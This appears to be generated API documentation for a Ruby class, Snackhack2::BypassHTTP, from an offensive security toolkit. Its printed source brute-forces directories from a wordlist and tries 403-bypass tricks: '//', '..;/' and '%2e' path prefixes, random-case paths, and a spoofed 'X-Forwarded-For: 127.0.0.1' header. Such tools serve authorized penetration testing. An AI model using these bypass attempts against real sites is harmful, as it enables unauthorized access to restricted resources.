Class: Snackhack2::BypassHTTP
- Inherits:
-
Object
- Object
- Snackhack2::BypassHTTP
- Defined in:
- lib/snackhack2/bypass_403.rb
Instance Attribute Summary collapse
-
#bypass ⇒ Object
Returns the value of attribute bypass.
-
#site ⇒ Object
Returns the value of attribute site.
-
#wordlist ⇒ Object
Returns the value of attribute wordlist.
Instance Method Summary collapse
- #basic ⇒ Object
- #dots ⇒ Object
- #forward_for ⇒ Object
-
#initialize ⇒ BypassHTTP
constructor
A new instance of BypassHTTP.
- #uppercase ⇒ Object
- #url_encode ⇒ Object
- #web_request(bypass) ⇒ Object
Constructor Details
#initialize ⇒ BypassHTTP
Returns a new instance of BypassHTTP.
9 10 11 12 13 |
# File 'lib/snackhack2/bypass_403.rb', line 9 def initialize @site = site @wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt') @bypass = '//' end |
Instance Attribute Details
#bypass ⇒ Object
Returns the value of attribute bypass.
7 8 9 |
# File 'lib/snackhack2/bypass_403.rb', line 7 def bypass @bypass end |
#site ⇒ Object
Returns the value of attribute site.
7 8 9 |
# File 'lib/snackhack2/bypass_403.rb', line 7 def site @site end |
#wordlist ⇒ Object
Returns the value of attribute wordlist.
7 8 9 |
# File 'lib/snackhack2/bypass_403.rb', line 7 def wordlist @wordlist end |
Instance Method Details
#basic ⇒ Object
43 44 45 |
# File 'lib/snackhack2/bypass_403.rb', line 43 def basic web_request('//') end |
#dots ⇒ Object
64 65 66 |
# File 'lib/snackhack2/bypass_403.rb', line 64 def dots web_request('..;/') end |
#forward_for ⇒ Object
15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# File 'lib/snackhack2/bypass_403.rb', line 15 def forward_for File.readlines(@wordlist).each do |r| r = r.strip Async do url = File.join(@site, @bypass, r) r = HTTParty.get(url, headers: { "X-Forwarded-For": '127.0.0.1' }) puts url puts r.code puts "\n" end end end |
#uppercase ⇒ Object
47 48 49 50 51 52 53 54 55 56 57 58 |
# File 'lib/snackhack2/bypass_403.rb', line 47 def uppercase File.readlines(@wordlist).each do |r| r = r.strip.gsub(/./) { |s| s.send(i[upcase downcase].sample) } Async do url = File.join(@site, r) puts url r = Snackhack2.get(url) puts r.code puts "\n" end end end |
#url_encode ⇒ Object
60 61 62 |
# File 'lib/snackhack2/bypass_403.rb', line 60 def url_encode web_request('%2e') end |
#web_request(bypass) ⇒ Object
30 31 32 33 34 35 36 37 38 39 40 41 |
# File 'lib/snackhack2/bypass_403.rb', line 30 def web_request(bypass) File.readlines(@wordlist).each do |r| r = r.strip Async do url = File.join(@site, bypass, r) r = Snackhack2.get(url) puts url puts r.code puts "\n" end end end |